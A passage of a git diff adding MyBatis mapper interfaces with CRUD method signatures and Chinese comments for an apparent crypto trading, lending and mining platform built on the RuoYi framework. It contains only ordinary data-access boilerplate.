*/ + public int updateTContractCoin(TContractCoin tContractCoin); + + /** + * 删除U本位合约币种 + * + * @param id U本位合约币种主键 + * @return 结果 + */ + public int deleteTContractCoinById(Long id); + + /** + * 批量删除U本位合约币种 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTContractCoinByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractLossMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractLossMapper.java new file mode 100644 index 0000000..b00e09e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractLossMapper.java @@ -0,0 +1,66 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TContractLoss; + +/** + * 止盈止损表Mapper接口 + * + * @author ruoyi + * @date 2023-07-25 + */ +public interface TContractLossMapper extends BaseMapper +{ + /** + * 查询止盈止损表 + * + * @param id 止盈止损表主键 + * @return 止盈止损表 + */ + public TContractLoss selectTContractLossById(Long id); + + /** + * 查询止盈止损表列表 + * + * @param tContractLoss 止盈止损表 + * @return 止盈止损表集合 + */ + public List selectTContractLossList(TContractLoss tContractLoss); + + /** + * 新增止盈止损表 + * + * @param tContractLoss 止盈止损表 + * @return 结果 + */ + public int insertTContractLoss(TContractLoss tContractLoss); + + /** + * 修改止盈止损表 + * + * @param tContractLoss 止盈止损表 + * @return 结果 + */ + public int updateTContractLoss(TContractLoss tContractLoss); + + /** + * 删除止盈止损表 + * + * @param id 止盈止损表主键 + * @return 结果 + */ + public int deleteTContractLossById(Long id); + + /** + * 批量删除止盈止损表 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTContractLossByIds(Long[] ids); + + + void updateContractLoss(Long positionId); + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractOrderMapper.java new file mode 100644 index 0000000..49f5c33 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractOrderMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TContractOrder; + +/** + * U本位委托Mapper接口 + * + * @author michael + * @date 2023-07-20 + */ +public interface TContractOrderMapper extends BaseMapper +{ + /** + * 查询U本位委托 + * + * @param id U本位委托主键 + * @return U本位委托 + */ + public TContractOrder selectTContractOrderById(Long id); + + /** + * 查询U本位委托列表 + * + * @param tContractOrder U本位委托 + * @return U本位委托集合 + */ + public List selectTContractOrderList(TContractOrder tContractOrder); + + /** + * 新增U本位委托 + * + * @param tContractOrder U本位委托 + * @return 结果 + */ + public int insertTContractOrder(TContractOrder tContractOrder); + + /** + * 修改U本位委托 + * + * @param tContractOrder U本位委托 + * @return 结果 + */ + public int updateTContractOrder(TContractOrder tContractOrder); + + /** + * 删除U本位委托 + * + * @param id U本位委托主键 + * @return 结果 + */ + public int deleteTContractOrderById(Long id); + + /** + * 批量删除U本位委托 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTContractOrderByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractPositionMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractPositionMapper.java new file mode 100644 index 0000000..f69821c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractPositionMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TContractPosition; + +/** + * U本位持仓表Mapper接口 + * + * @author michael + * @date 2023-07-20 + */ +public interface TContractPositionMapper extends BaseMapper +{ + /** + * 查询U本位持仓表 + * + * @param id U本位持仓表主键 + * @return U本位持仓表 + */ + public TContractPosition selectTContractPositionById(Long id); + + /** + * 查询U本位持仓表列表 + * + * @param tContractPosition U本位持仓表 + * @return U本位持仓表集合 + */ + public List selectTContractPositionList(TContractPosition tContractPosition); + + /** + * 新增U本位持仓表 + * + * @param tContractPosition U本位持仓表 + * @return 结果 + */ + public int insertTContractPosition(TContractPosition tContractPosition); + + /** + * 修改U本位持仓表 + * + * @param tContractPosition U本位持仓表 + * @return 结果 + */ + public int updateTContractPosition(TContractPosition tContractPosition); + + /** + * 删除U本位持仓表 + * + * @param id U本位持仓表主键 + * @return 结果 + */ + public int deleteTContractPositionById(Long id); + + /** + * 批量删除U本位持仓表 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTContractPositionByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCurrencyOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCurrencyOrderMapper.java new file mode 100644 index 0000000..440e669 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCurrencyOrderMapper.java @@ -0,0 +1,63 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TCurrencyOrder; + +/** + * 币币交易订单Mapper接口 + * + * @author ruoyi + * @date 2023-07-25 + */ +public interface TCurrencyOrderMapper extends BaseMapper +{ + /** + * 查询币币交易订单 + * + * @param id 币币交易订单主键 + * @return 币币交易订单 + */ + public TCurrencyOrder selectTCurrencyOrderById(Long id); + + /** + * 查询币币交易订单列表 + * + * @param tCurrencyOrder 币币交易订单 + * @return 币币交易订单集合 + */ + public List selectTCurrencyOrderList(TCurrencyOrder tCurrencyOrder); + + /** + * 新增币币交易订单 + * + * @param tCurrencyOrder 币币交易订单 + * @return 结果 + */ + public int insertTCurrencyOrder(TCurrencyOrder tCurrencyOrder); + + /** + * 修改币币交易订单 + * + * @param tCurrencyOrder 币币交易订单 + * @return 结果 + */ + public int updateTCurrencyOrder(TCurrencyOrder tCurrencyOrder); + + /** + * 删除币币交易订单 + * + * @param id 币币交易订单主键 + * @return 结果 + */ + public int deleteTCurrencyOrderById(Long id); + + /** + * 批量删除币币交易订单 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTCurrencyOrderByIds(Long[] ids); + + List selectOrderList(TCurrencyOrder tCurrencyOrder); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCurrencySymbolMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCurrencySymbolMapper.java new file mode 100644 index 0000000..6f3654c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCurrencySymbolMapper.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TCurrencySymbol; + +/** + * 币币交易币种配置Mapper接口 + * + * @author ruoyi + * @date 2023-07-25 + */ +public interface TCurrencySymbolMapper extends BaseMapper +{ + /** + * 查询币币交易币种配置 + * + * @param id 币币交易币种配置主键 + * @return 币币交易币种配置 + */ + public TCurrencySymbol selectTCurrencySymbolById(Long id); + + /** + * 查询币币交易币种配置列表 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 币币交易币种配置集合 + */ + public List selectTCurrencySymbolList(TCurrencySymbol tCurrencySymbol); + + /** + * 新增币币交易币种配置 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 结果 + */ + public int insertTCurrencySymbol(TCurrencySymbol tCurrencySymbol); + + /** + * 修改币币交易币种配置 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 结果 + */ + public int updateTCurrencySymbol(TCurrencySymbol tCurrencySymbol); + + /** + * 删除币币交易币种配置 + * + * @param id 币币交易币种配置主键 + * @return 结果 + */ + public int deleteTCurrencySymbolById(Long id); + + /** + * 批量删除币币交易币种配置 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTCurrencySymbolByIds(Long[] ids); + + TCurrencySymbol selectInfo(TCurrencySymbol tCurrencySymbol); + + TCurrencySymbol selectByCoin(String symbol); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TExchangeCoinRecordMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TExchangeCoinRecordMapper.java new file mode 100644 index 0000000..ebe64b7 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TExchangeCoinRecordMapper.java @@ -0,0 +1,66 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TExchangeCoinRecord; + +/** + * 币种兑换记录Mapper接口 + * + * @author ruoyi + * @date 2023-07-07 + */ +public interface TExchangeCoinRecordMapper extends BaseMapper +{ + /** + * 查询币种兑换记录 + * + * @param id 币种兑换记录主键 + * @return 币种兑换记录 + */ + public TExchangeCoinRecord selectTExchangeCoinRecordById(Long id); + + /** + * 查询币种兑换记录列表 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 币种兑换记录集合 + */ + public List selectTExchangeCoinRecordList(TExchangeCoinRecord tExchangeCoinRecord); + + /** + * 新增币种兑换记录 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 结果 + */ + public int insertTExchangeCoinRecord(TExchangeCoinRecord tExchangeCoinRecord); + + /** + * 修改币种兑换记录 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 结果 + */ + public int updateTExchangeCoinRecord(TExchangeCoinRecord tExchangeCoinRecord); + + /** + * 删除币种兑换记录 + * + * @param id 币种兑换记录主键 + * @return 结果 + */ + public int deleteTExchangeCoinRecordById(Long id); + + /** + * 批量删除币种兑换记录 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTExchangeCoinRecordByIds(Long[] ids); + + Integer countByExchangeCoinRecord(TExchangeCoinRecord exchangeCoinRecord); + + List getListByLimit(int size); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THelpCenterInfoMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THelpCenterInfoMapper.java new file mode 100644 index 0000000..080bcb4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THelpCenterInfoMapper.java @@ -0,0 +1,63 @@ +package com.ruoyi.bussiness.mapper; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.THelpCenterInfo; + +import java.util.List; + +/** + * 帮助中心问题详情Mapper接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface THelpCenterInfoMapper extends BaseMapper +{ + /** + * 查询帮助中心问题详情 + * + * @param id 帮助中心问题详情主键 + * @return 帮助中心问题详情 + */ + public THelpCenterInfo selectTHelpCenterInfoById(Long id); + + /** + * 查询帮助中心问题详情列表 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 帮助中心问题详情集合 + */ + public List selectTHelpCenterInfoList(THelpCenterInfo tHelpCenterInfo); + + /** + * 新增帮助中心问题详情 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 结果 + */ + public int insertTHelpCenterInfo(THelpCenterInfo tHelpCenterInfo); + + /** + * 修改帮助中心问题详情 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 结果 + */ + public int updateTHelpCenterInfo(THelpCenterInfo tHelpCenterInfo); + + /** + * 删除帮助中心问题详情 + * + * @param id 帮助中心问题详情主键 + * @return 结果 + */ + public int deleteTHelpCenterInfoById(Long id); + + /** + * 批量删除帮助中心问题详情 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTHelpCenterInfoByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THelpCenterMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THelpCenterMapper.java new file mode 100644 index 0000000..68f6247 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THelpCenterMapper.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.mapper; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.THelpCenter; + +import java.util.List; + +/** + * 帮助中心Mapper接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface THelpCenterMapper extends BaseMapper +{ + /** + * 查询帮助中心 + * + * @param id 帮助中心主键 + * @return 帮助中心 + */ + public THelpCenter selectTHelpCenterById(Long id); + + /** + * 查询帮助中心列表 + * + * @param tHelpCenter 帮助中心 + * @return 帮助中心集合 + */ + public List selectTHelpCenterList(THelpCenter tHelpCenter); + + /** + * 新增帮助中心 + * + * @param tHelpCenter 帮助中心 + * @return 结果 + */ + public int insertTHelpCenter(THelpCenter tHelpCenter); + + /** + * 修改帮助中心 + * + * @param tHelpCenter 帮助中心 + * @return 结果 + */ + public int updateTHelpCenter(THelpCenter tHelpCenter); + + /** + * 删除帮助中心 + * + * @param id 帮助中心主键 + * @return 结果 + */ + public int deleteTHelpCenterById(Long id); + + /** + * 批量删除帮助中心 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTHelpCenterByIds(Long[] ids); + + List getCenterList(THelpCenter tHelpCenter); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THomeSetterMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THomeSetterMapper.java new file mode 100644 index 0000000..2ddf387 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THomeSetterMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.THomeSetter; + +/** + * 规则说明Mapper接口 + * + * @author ruoyi + * @date 2023-07-19 + */ +public interface THomeSetterMapper extends BaseMapper +{ + /** + * 查询规则说明 + * + * @param id 规则说明主键 + * @return 规则说明 + */ + public THomeSetter selectTHomeSetterById(Long id); + + /** + * 查询规则说明列表 + * + * @param tHomeSetter 规则说明 + * @return 规则说明集合 + */ + public List selectTHomeSetterList(THomeSetter tHomeSetter); + + /** + * 新增规则说明 + * + * @param tHomeSetter 规则说明 + * @return 结果 + */ + public int insertTHomeSetter(THomeSetter tHomeSetter); + + /** + * 修改规则说明 + * + * @param tHomeSetter 规则说明 + * @return 结果 + */ + public int updateTHomeSetter(THomeSetter tHomeSetter); + + /** + * 删除规则说明 + * + * @param id 规则说明主键 + * @return 结果 + */ + public int deleteTHomeSetterById(Long id); + + /** + * 批量删除规则说明 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTHomeSetterByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TLoadOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TLoadOrderMapper.java new file mode 100644 index 0000000..7de08c4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TLoadOrderMapper.java @@ -0,0 +1,63 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TLoadOrder; + +/** + * 贷款订单Mapper接口 + * + * @author ruoyi + * @date 2023-07-14 + */ +public interface TLoadOrderMapper extends BaseMapper +{ + /** + * 查询贷款订单 + * + * @param id 贷款订单主键 + * @return 贷款订单 + */ + public TLoadOrder selectTLoadOrderById(Long id); + + /** + * 查询贷款订单列表 + * + * @param tLoadOrder 贷款订单 + * @return 贷款订单集合 + */ + public List selectTLoadOrderList(TLoadOrder tLoadOrder); + + /** + * 新增贷款订单 + * + * @param tLoadOrder 贷款订单 + * @return 结果 + */ + public int insertTLoadOrder(TLoadOrder tLoadOrder); + + /** + * 修改贷款订单 + * + * @param tLoadOrder 贷款订单 + * @return 结果 + */ + public int updateTLoadOrder(TLoadOrder tLoadOrder); + + /** + * 删除贷款订单 + * + * @param id 贷款订单主键 + * @return 结果 + */ + public int deleteTLoadOrderById(Long id); + + /** + * 批量删除贷款订单 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTLoadOrderByIds(Long[] ids); + + List selectListByUserId(TLoadOrder serch); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TLoadProductMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TLoadProductMapper.java new file mode 100644 index 0000000..fb4ef1a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TLoadProductMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TLoadProduct; + +/** + * 借贷产品Mapper接口 + * + * @author ruoyi + * @date 2023-07-13 + */ +public interface TLoadProductMapper extends BaseMapper +{ + /** + * 查询借贷产品 + * + * @param id 借贷产品主键 + * @return 借贷产品 + */ + public TLoadProduct selectTLoadProductById(Long id); + + /** + * 查询借贷产品列表 + * + * @param tLoadProduct 借贷产品 + * @return 借贷产品集合 + */ + public List selectTLoadProductList(TLoadProduct tLoadProduct); + + /** + * 新增借贷产品 + * + * @param tLoadProduct 借贷产品 + * @return 结果 + */ + public int insertTLoadProduct(TLoadProduct tLoadProduct); + + /** + * 修改借贷产品 + * + * @param tLoadProduct 借贷产品 + * @return 结果 + */ + public int updateTLoadProduct(TLoadProduct tLoadProduct); + + /** + * 删除借贷产品 + * + * @param id 借贷产品主键 + * @return 结果 + */ + public int deleteTLoadProductById(Long id); + + /** + * 批量删除借贷产品 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTLoadProductByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMarketsMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMarketsMapper.java new file mode 100644 index 0000000..a90299a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMarketsMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; + +import java.util.List; +import com.ruoyi.bussiness.domain.TMarkets; + +/** + * 支持交易所Mapper接口 + * + * @author ruoyi + * @date 2023-06-26 + */ +public interface TMarketsMapper +{ + /** + * 查询支持交易所 + * + * @param slug 支持交易所主键 + * @return 支持交易所 + */ + public TMarkets selectTMarketsBySlug(String slug); + + /** + * 查询支持交易所列表 + * + * @param tMarkets 支持交易所 + * @return 支持交易所集合 + */ + public List selectTMarketsList(TMarkets tMarkets); + + /** + * 新增支持交易所 + * + * @param tMarkets 支持交易所 + * @return 结果 + */ + public int insertTMarkets(TMarkets tMarkets); + + /** + * 修改支持交易所 + * + * @param tMarkets 支持交易所 + * @return 结果 + */ + public int updateTMarkets(TMarkets tMarkets); + + /** + * 删除支持交易所 + * + * @param slug 支持交易所主键 + * @return 结果 + */ + public int deleteTMarketsBySlug(String slug); + + /** + * 批量删除支持交易所 + * + * @param slugs 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMarketsBySlugs(String[] slugs); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineFinancialMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineFinancialMapper.java new file mode 100644 index 0000000..d7d2bb0 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineFinancialMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TMineFinancial; + +/** + * 【请填写功能名称】Mapper接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface TMineFinancialMapper extends BaseMapper +{ + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineFinancial selectTMineFinancialById(Long id); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTMineFinancialList(TMineFinancial tMineFinancial); + + /** + * 新增【请填写功能名称】 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineFinancial(TMineFinancial tMineFinancial); + + /** + * 修改【请填写功能名称】 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineFinancial(TMineFinancial tMineFinancial); + + /** + * 删除【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineFinancialById(Long id); + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMineFinancialByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineOrderDayMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineOrderDayMapper.java new file mode 100644 index 0000000..e07a691 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineOrderDayMapper.java @@ -0,0 +1,63 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TMineOrderDay; + +import java.math.BigDecimal; +import java.util.List; + +/** + * 【请填写功能名称】Mapper接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface TMineOrderDayMapper extends BaseMapper +{ + /** + * 查询【请填写功能名称】 + * + * @param amount 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineOrderDay selectTMineOrderDayByAmount(BigDecimal amount); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTMineOrderDayList(TMineOrderDay tMineOrderDay); + + /** + * 新增【请填写功能名称】 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineOrderDay(TMineOrderDay tMineOrderDay); + + /** + * 修改【请填写功能名称】 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineOrderDay(TMineOrderDay tMineOrderDay); + + /** + * 删除【请填写功能名称】 + * + * @param amount 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineOrderDayByAmount(BigDecimal amount); + + /** + * 批量删除【请填写功能名称】 + * + * @param amounts 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMineOrderDayByAmounts(BigDecimal[] amounts); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineOrderMapper.java new file mode 100644 index 0000000..4bd45a7 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineOrderMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TMineOrder; + +import java.util.List; + +/** + * 【请填写功能名称】Mapper接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface TMineOrderMapper extends BaseMapper +{ + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineOrder selectTMineOrderById(Long id); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineOrder 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTMineOrderList(TMineOrder tMineOrder); + + /** + * 新增【请填写功能名称】 + * + * @param tMineOrder 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineOrder(TMineOrder tMineOrder); + + /** + * 修改【请填写功能名称】 + * + * @param tMineOrder 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineOrder(TMineOrder tMineOrder); + + /** + * 删除【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineOrderById(Long id); + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMineOrderByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineUserMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineUserMapper.java new file mode 100644 index 0000000..00e9306 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineUserMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TMineUser; + +/** + * 【请填写功能名称】Mapper接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface TMineUserMapper extends BaseMapper +{ + /** + * 查询【请填写功能名称】 + * + * @param userId 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineUser selectTMineUserByUserId(Long userId); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineUser 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTMineUserList(TMineUser tMineUser); + + /** + * 新增【请填写功能名称】 + * + * @param tMineUser 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineUser(TMineUser tMineUser); + + /** + * 修改【请填写功能名称】 + * + * @param tMineUser 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineUser(TMineUser tMineUser); + + /** + * 删除【请填写功能名称】 + * + * @param userId 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineUserByUserId(Long userId); + + /** + * 批量删除【请填写功能名称】 + * + * @param userIds 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMineUserByUserIds(Long[] userIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingOrderMapper.java new file mode 100644 index 0000000..e4eae24 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingOrderMapper.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TMingOrder; + +/** + * mingMapper接口 + * + * @author ruoyi + * @date 2023-08-18 + */ +public interface TMingOrderMapper extends BaseMapper +{ + /** + * 查询ming + * + * @param id ming主键 + * @return ming + */ + public TMingOrder selectTMingOrderById(Long id); + + /** + * 查询ming列表 + * + * @param tMingOrder ming + * @return ming集合 + */ + public List selectTMingOrderList(TMingOrder tMingOrder); + + /** + * 新增ming + * + * @param tMingOrder ming + * @return 结果 + */ + public int insertTMingOrder(TMingOrder tMingOrder); + + /** + * 修改ming + * + * @param tMingOrder ming + * @return 结果 + */ + public int updateTMingOrder(TMingOrder tMingOrder); + + /** + * 删除ming + * + * @param id ming主键 + * @return 结果 + */ + public int deleteTMingOrderById(Long id); + + /** + * 批量删除ming + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMingOrderByIds(Long[] ids); + + Map selectMingOrderSumList(Map map); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingProductMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingProductMapper.java new file mode 100644 index 0000000..fee7ba5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingProductMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TMingProduct; + +/** + * mingProductMapper接口 + * + * @author ruoyi + * @date 2023-08-18 + */ +public interface TMingProductMapper extends BaseMapper +{ + /** + * 查询mingProduct + * + * @param id mingProduct主键 + * @return mingProduct + */ + public TMingProduct selectTMingProductById(Long id); + + /** + * 查询mingProduct列表 + * + * @param tMingProduct mingProduct + * @return mingProduct集合 + */ + public List selectTMingProductList(TMingProduct tMingProduct); + + /** + * 新增mingProduct + * + * @param tMingProduct mingProduct + * @return 结果 + */ + public int insertTMingProduct(TMingProduct tMingProduct); + + /** + * 修改mingProduct + * + * @param tMingProduct mingProduct + * @return 结果 + */ + public int updateTMingProduct(TMingProduct tMingProduct); + + /** + * 删除mingProduct + * + * @param id mingProduct主键 + * @return 结果 + */ + public int deleteTMingProductById(Long id); + + /** + * 批量删除mingProduct + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMingProductByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingProductUserMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingProductUserMapper.java new file mode 100644 index 0000000..4eded6d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingProductUserMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TMingProductUser; + +/** + * 用户购买质押限制Mapper接口 + * + * @author ruoyi + * @date 2023-10-11 + */ +public interface TMingProductUserMapper extends BaseMapper +{ + /** + * 查询用户购买质押限制 + * + * @param id 用户购买质押限制主键 + * @return 用户购买质押限制 + */ + public TMingProductUser 